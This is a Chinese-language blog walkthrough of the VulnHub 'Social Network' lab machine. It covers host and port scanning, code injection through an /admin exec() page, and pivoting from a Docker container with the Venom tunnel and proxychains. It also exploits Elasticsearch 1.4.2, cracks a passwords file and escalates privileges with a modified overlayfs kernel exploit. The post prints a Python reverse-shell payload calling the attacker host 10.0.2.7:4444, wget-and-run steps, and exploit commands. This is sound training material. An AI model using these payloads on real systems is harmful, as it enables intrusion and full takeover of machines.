首页 > 其他分享 >第四次打靶

第四次打靶

时间:2022-11-25 21:33:45浏览次数:74  
标签:发现 10.0 主机 端口 打靶 172.17 kali 第四次

靶机说明

1)靶机地址:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

2)难度:中等

3)虚拟机软件推荐:virtualBox

4)本次涉及攻击手段:主机发现、端口扫描、服务发现、路径爬取、代码注入、Shell脚本、内网信息收集、内网穿透、漏洞利用、密码破解、本地提权、攻击代码修改

打靶过程

1)因靶机与kali主机都处于同网段仅主机模式,所以主机发现,首选二层主机发现工具arp-scan

# arp-scan -l

2)对发现的主机进行全端口扫描:发现开放了22

# nmap -p- 192.168.56.107

3)对发现的端口进行服务发现,因为并不能确定上述两个端口上面运行的是什么服务、服务版本

# nmap -p22,5000 -sV 192.168.56.107

​通过扫描发现5000端口上运行了一个httpd的web服务,且使用了基于python开发的werkzeug底层web框架,且目标系统使用的python版本是2.7.15

4)通过访问扫描到的web页面

http://10.0.2.17:5000

通过检查该页面无任何漏洞

5)对网站进行常规操作:对web应用程序路径进行发现,因为web应用程序常常在内部会包含一些隐藏的路径或隐藏的页面,这些隐藏页面或隐藏路径可能存在可以输入数据的函数的提交点

# dirsearch http://10.0.2.17:5000

发现了一个/admin的路径

6)对发现的路径进行访问:访问后发现是一个管理界面,该界面可以进行代码的执行,即输入框中输入的内容都会被交给exec()函数去执行

http://10.0.2.17:5000/admin

注:如果web应用程序过滤不严格,可以对输入的代码过滤不严格,可以利用代码执行的功能直接执行一个反弹shell的操作

7)通过前面扫描发现该网站是通过python开发的,所以此时可以使用python的代码执行功能,向表单中注入python代码来触发一个反弹的shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.7",4444))
os.dup2(s.fileno(),0)       
os.dup2(s.fileno(),1)       
os.dup2(s.fileno(),2)       
p=subprocess.call(["/bin/sh","-i"])

代码含义:通过导入系统默认的函数库,通过这些库去反弹连接kali:10.0.2.7主机的4444端口,通过这个连接,最后执行/bin/sh

8)在kali主机进行监听4444端口

#nc -lvvp 4444

9)虽然 上面获取到了root权限,但是因存在dockerfile文件(标准化部署docker容器的模板文件),由此可怀疑上述获取的系统只是一个docker容器的系统

#cat Dockerfile

10)100%确定该系统是一个docker容器运行的系统,

①查看根目录下是否存在dockerenv文件,存在90%说明是一个docker容器系统

②查看/proc/1/cgroup下是否有类似如下文件,如果有说明一定是一个容器系统。因为linux系统启动之后,pid为1表示该计算机系统上的初始化进程的ID,当初始化进程的cgroup文件包含着明确的docker镜像主机的指示信息,则100%可证明当前系统是一个docker容器,而且docker容器的hash值就是一长串字符

注:判断获取的系统权限是docker容器后,需要从docker容器当前隔离的环境下突破出来,找到宿主机,在对宿主机漏洞的利用拿到宿主机的最高权限

11)先查看当前docker容器的IP地址

此时可以将docker容器所处的网段视为当前这个网络中的内网网段,既然有内网网段,就可以在该内网网段中进一步发现该内网中有没有其他主机?如果存在其他主机,那会不会存在一些已知的漏洞?可不可以利用这些漏洞?进一步获得已知的信息,攻击更多的内网系统?

12)内网主机发现

①最简单方法:一个一个ping

②利用脚本,对内网主机进行扫描:先定义一个序列,在利用循环进行扫描,此处只扫描10个IP,对每一个IP发生一个ping包

# for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

发现了在内网主机发现了两个IP:172.17.0.1、172.17.0.2,此时对上述两个主机进行端口扫描,

问题:但是该网络处于一个内网网段,直接通过kali中的攻击工具对内网网段进行扫描网路不可达,要解决该问题,需要使用一种内网穿透技术,把kali到内网的路由打通

13)此处使用venom工具,在内网和kali主机之间建立一条隧道,基于该隧道生成一个代理,让其他工具可以通过代理去扫描内网主机

14)先将venom的客户端程序,传输到目标主机运行,再执行服务端程序,使得目标主机和kali主机之间建立一条隧道

①服务端:先在kali主机启动一个httpd的web服务

# cd Venom.v1.1.0/
# cp agent_linux_x64 a
# python3 -m http.server 80
# ./admin_linux_x64 -lport 9999

②客户端:获取客户端程序

#wget http://10.0.2.7/a
#chmod +x a 
#./a -rhost 10.0.2.7 -rport 9999

14)连接成功后,在服务端中进入节点,并在该节点启动一个socks的监听

>>>show
>>>goto 1
>>>socks 1080

15)为了使得kali主机上的所以工具都可以挂代理访问内网,需要使用proxychains工具,利用proxychains工具挂载配置的socks代理,让kali工具都可以利用该代理去攻击内网主机

#vim /ect/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

16)对内网进行扫描

①先对172.17.0.1进行扫描

# proxychains nmap -Pn -sT 172.17.0.1

发现该主机开发端口和最先扫描的靶机10.0.2.17的端口一致,此时对该主机的端口进行服务版本的扫描

# proxychains nmap -p22,5000 -sV -Pn -sT 172.17.0.1

在浏览器使用带来,对该内网地址进行访问,发现和访问10.0.2.17的结果一模一样

总结:根据以上发现,说明172.17.0.1就是10.0.2.17这台宿主机,只不过172.17.0.1是面向容器内网的IP地址,所以 该主机就是我们要攻击的目标主机

②对172.17.0.2进行端口扫描:发现了9200端口,该端口是elasticsearch的默认端口

#proxychains nmap -Pn -sT 172.17.0.2

对172.17.0.2的9200端口运行的服务进行扫描

#proxychains nmap -Pn -St -p9200 -sV 172.17.0.2

通过扫描发现9200运行的服务确实是Elasticsearch,且版本为1.4.2,Elasticsearch在历史版本上曾经出现过很严重的漏洞(RCE漏洞),此处可以怀疑该版本是否存在漏洞?如果存在漏洞又怎么利用?

17)在kali上搜索elasticsearch关键词

# searchsploit Elasticsearch

18)将前两个漏洞利用代码拷贝下来,按个尝试,执行完毕后,又发现获取到了一个root权限

# cp /usr/share/exploitdb/exploits/linux/remote/36337.py ./
# proxychains python2 36337.py 172.17.0.2

19)在其根目录下,发现了一个passwords文件,查看其文件内容

#cd /
#ls
#cat passwords

20)对上述密码hash值对其进行解密

21)利用ssh对刚才获取到的用户名和密码进行登录

#ssh [email protected]

22)查看能否提示sudo权限,该用户没有任何sudo权限

$ sudo -s 

23)通过之前发现该系统的内核为3.13

24)尝试利用内核漏洞进行提权,先搜索3.13,出现很多漏洞利用代码,挑选其中一个复制到本地

# searchsploit 3.13
#cp /usr/share/exploitdb/exploits/linux/local/37292.c ./

25)简单查看代码发现,该利用代码需要gcc编译,且在利用过程中同样需要gcc,但是在目标系统中是没有安装gcc的,所以即使在kali主机将代码编译后,业务发在目标主机正常运行

​上述源码中再次调用了gcc去查找到另外一个C语言的库文件/tmp/ofs-lib.c,再将该库文件编译成对应的/tmp/ofs-lib.so文件,然后在整个的漏洞利用过程中,再次加载ofs-lib.so文件

26)此时需要对代码进行简单修改:在kali中直接找到二进制的库文件ofs-lib.so,然后修改源码,当执行到该位置的时候,不在需要通过gcc去编译,而是直接调用库文件

# vim 37292.c

17)在kali直接编译37292.c文件,编译生成exp文件

# gcc -o exp 37292.c

18)在kali主机找当ofs-lib.so库文件

# locate ofs-lib.so
# cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so ./

19)将exp和ofs-lib.so文件下载到目标主机

①先在kali主机启动httpd服务

# python3 -m http.server 80

②在目标主机下载文件,并执行

#wget http://10.0.2.7/exp
#wget http://10.0.2.7/ofs-lib.so
#mv * /tmp
#cd /tmp
#chmod +x exp
#./exp
#id

总结:面对靶机,先进行了主机发现,之后针对已经发现的主机进行了端口扫描以及服务的扫描,当扫描结束之后,发现目标主机存在5000端口的web应用,尝试访问web应用,在web应用下没有收获任何漏洞,之后对web应用进行路径发现,发现了一个/admin的后台页面,在该后台地址发现了远程代码执行漏洞,利用反弹shell获取到了一个root权限,但是该root权限是一个容器系统,然后基于该容器系统对其内网的Ip地址段进行发现,发现过程中,识别出两个内网主机的IP地址,之后挂取代理进行内网穿透,对这两个地址进行全端口扫描,在扫描过程中,发现了在一台主机上发现了9000端口,该端口是Elasticserch的默认端口,又都Elasticserch进行漏洞的利用和攻击,成功拿下了172.17.0.2这台主机,在这台主机中发现了passwords这个文件,对其进行解密后,利用发现的用户名和密码对目标主机进行尝试登录,登录后发现只是一个普通用户权限,因目标主机使用的是内核较老的linux发行版,所以此时使用最直接的提权方法:针对内核的提权。但是漏洞利用代码无法直接在目标系统进行gcc的编译,所以只能修改代码,重新编译,然后将编译后的代码和库文件一起传输的目标系统,然后进行提权,获取到root权限

标签:发现,10.0,主机,端口,打靶,172.17,kali,第四次
From: https://www.cnblogs.com/piaolaipiaoqu/p/16926378.html

相关文章

  • 第三次打靶
    靶机介绍1)靶机名称:3-Free-MoriartyCorp2)难度级别:中-高3)靶机背景介绍:①你作为一名特工,协助调查世界最大军火商的非法交易②本次靶机共有6个任务,每完成一个任务并提交fl......
  • 第二次打靶
    靶机介绍:1)靶机名称:2-Free-Hackademic.RTB12)靶机链接:步骤:链接:https://pan.baidu.com/s/1IMWhKd3h8sDcPelzXXhxKg提取码:o5k0打靶过程:1)启动靶机,选择网络模式为仅主机模......
  • 第四次实验
    1#pragmaonce2#include<iostream>3usingnamespacestd;4classvectorInt5{6public:7vectorInt(intn);8vectorInt(intn,intnum);9......
  • SDN第四次实验
    实验4:开源控制器实践——OpenDaylight一、实验目的能够独立完成OpenDaylight控制器的安装配置;能够使用Postman工具调用OpenDaylightAPI接口下发流表。二、实验环境Ub......
  • 2022.9.30 Java第四次课后总结
    1.publicclassBoxAndUnbox{ /** *@paramargs */ publicstaticvoidmain(String[]args){ intvalue=100; Integerobj=value;//装箱 intresult=obj*2;......
  • python 打靶法求解一维谐振子薛定谔方程
    1.理论公式一维谐振子薛定谔方程:\[-\frac{\hbar^2}{2m}\frac{d^2}{dx^2}\psi(x)+\frac{1}{2}m\omega^2x^2\psi(x)=E\psi(x).\]即\[\frac{d^2}{dx^2}\ps......